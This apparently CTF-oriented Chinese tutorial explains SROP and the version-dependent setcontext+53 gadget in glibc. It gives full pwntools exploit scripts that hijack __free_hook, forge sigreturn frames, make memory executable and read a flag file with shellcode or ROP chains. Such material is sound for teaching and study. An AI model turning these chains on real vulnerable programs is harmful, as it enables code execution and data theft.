srop搭配高低版本的setcontext
字数 1445 2025-08-23 18:31:08
SROP与高低版本setcontext利用技术详解
1. SROP技术概述
SROP (Sigreturn Oriented Programming) 是一种利用类Unix系统中signal机制的漏洞利用技术。Signal机制是进程间通信的一种方式,也称为软中断信号。攻击者可以通过系统调用kill发送软中断信号来触发这一机制。
核心原理:
- 内核在处理signal时会保存进程的上下文(所有寄存器状态)
- 通过伪造signal frame结构体,可以控制所有寄存器
- 利用sigreturn系统调用恢复伪造的上下文
2. setcontext函数分析
setcontext是libc中与SROP功能类似的函数,可以用于控制寄存器状态。不同版本的setcontext有不同的实现方式。
2.1 低版本setcontext (2.29以下)
0x7fab8d034c80 <setcontext>: push rdi
0x7fab8d034c81 <setcontext+1>: lea rsi, [rdi+0x128]
0x7fab8d034c88 <setcontext+8>: xor edx, edx
[...]
0x7fab8d034cb5 <setcontext+53>: mov rsp, qword ptr [rdi+0xa0]
0x7fab8d034cbc <setcontext+60>: mov rbx, qword ptr [rdi+0x80]
[...]
0x7fab8d034cff <setcontext+127>: ret
特点:
- 通过rdi寄存器传递参数
- 从偏移53字节处开始恢复寄存器
- 可以控制除rax外的所有寄存器
2.2 高版本setcontext (2.29及以上)
0x7f7775c5bcf0 <setcontext>: push rdi
0x7f7775c5bcf1 <setcontext+1>: lea rsi, [rdi+0x128]
[...]
0x7f7775c5bd25 <setcontext+53>: mov rsp, qword ptr [rdx+0xa0]
0x7f7775c5bd2c <setcontext+60>: mov rbx, qword ptr [rdx+0x80]
[...]
0x7f7775c5bd6f <setcontext+127>: ret
特点:
- 通过rdx寄存器传递参数
- 同样从偏移53字节处开始恢复寄存器
- 需要额外的gadget将rdi转换为rdx
3. 利用技术详解
3.1 低版本利用技术
利用步骤:
- 泄露libc地址
- 劫持__free_hook为setcontext+53
- 在堆块中布置SigreturnFrame结构体
- 触发free调用,执行ROP链
关键点:
- free函数在调用__free_hook前会将rdi设置为当前堆块地址
- 通过setcontext+53可以控制程序执行流
- 可以结合mprotect实现内存权限修改
示例payload:
frame = SigreturnFrame(kernel='amd64')
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.sym['mprotect']
frame.rdi = libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000
frame.rsi = 0x2000
frame.rdx = 7
3.2 高版本利用技术
由于高版本使用rdx传参,需要额外的gadget进行转换:
方法1: mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;
利用步骤:
- 劫持__free_hook为转换gadget
- 在堆块中布置:
- 第一个qword: setcontext+53
- 第二个qword: frame结构体地址
- 通过jmp rax跳转到setcontext+53
方法2: mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];
利用步骤:
- 劫持__free_hook为转换gadget
- 在堆块中布置:
- 第一个qword: 任意值
- 第二个qword: frame结构体地址
- 在frame结构体+0x20处放置setcontext+53
- 通过call指令跳转
4. 完整利用示例
4.1 低版本利用完整代码
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["./ld-linux-x86-64.so.2", "./pwn"], env={"LD_PRELOAD":"./libc.so.6"})
# 泄露libc
add(0, 0x500)
add(1, 0x18)
free(0)
show(0)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3afca0
# 劫持free_hook
add(0, 0x400)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)
# 布置shellcode和frame
shellcode1 = '''
xor rdi,rdi
mov rsi, %d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % (libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000)
edit(0, p64(libc.sym['setcontext'] + 53) + p64(libc.sym['__free_hook'] + 0x10) + asm(shellcode1))
frame = SigreturnFrame(kernel='amd64')
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.sym['mprotect']
frame.rdi = libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000
frame.rsi = 0x2000
frame.rdx = 7
edit(1, bytes(frame))
# 触发
free(1)
# 发送ORW shellcode
shellcode2 = '''
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
mov rsi, 0
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi,rsp
mov rdx, 1024
mov rax,0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, rax
mov rax, 1
syscall
mov rdi, 123
mov rax, 60
syscall
'''
io.sendline(asm(shellcode2))
io.interactive()
4.2 高版本利用完整代码
# 泄露libc部分相同...
# 劫持free_hook
add(0, 0x400)
add(1, 0x400)
free(1)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)
# 布置payload
payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
frame_addr = buf_addr + 0x20
frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.symbols['open']
frame.rdi = buf_addr
frame.rsi = 0
payload = b''
payload += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;'), executable=True)))
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])
payload = payload.ljust(0x100, b'\x00')
payload += b'./flag\x00'
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
payload += bytes(frame)
edit(0, payload)
edit(1, p64(libc.sym['setcontext'] + 53) + p64(frame_addr))
free(1)
io.interactive()
5. 关键注意事项
- 版本差异:必须准确识别libc版本,选择正确的setcontext偏移
- 对齐要求:mprotect的第一个参数必须页对齐
- 寄存器控制:setcontext无法直接控制rax寄存器
- 堆布局:高版本需要精心设计堆块布局以传递正确参数
- gadget选择:高版本需要可靠的rdi到rdx转换gadget
6. 防御措施
- 启用ASLR增加地址预测难度
- 使用最新版libc,修复已知漏洞
- 限制signal相关系统调用的使用
- 监控异常的内存读写行为
通过深入理解SROP和setcontext的工作原理,可以构建强大的漏洞利用链,同时也为防御此类攻击提供了理论基础。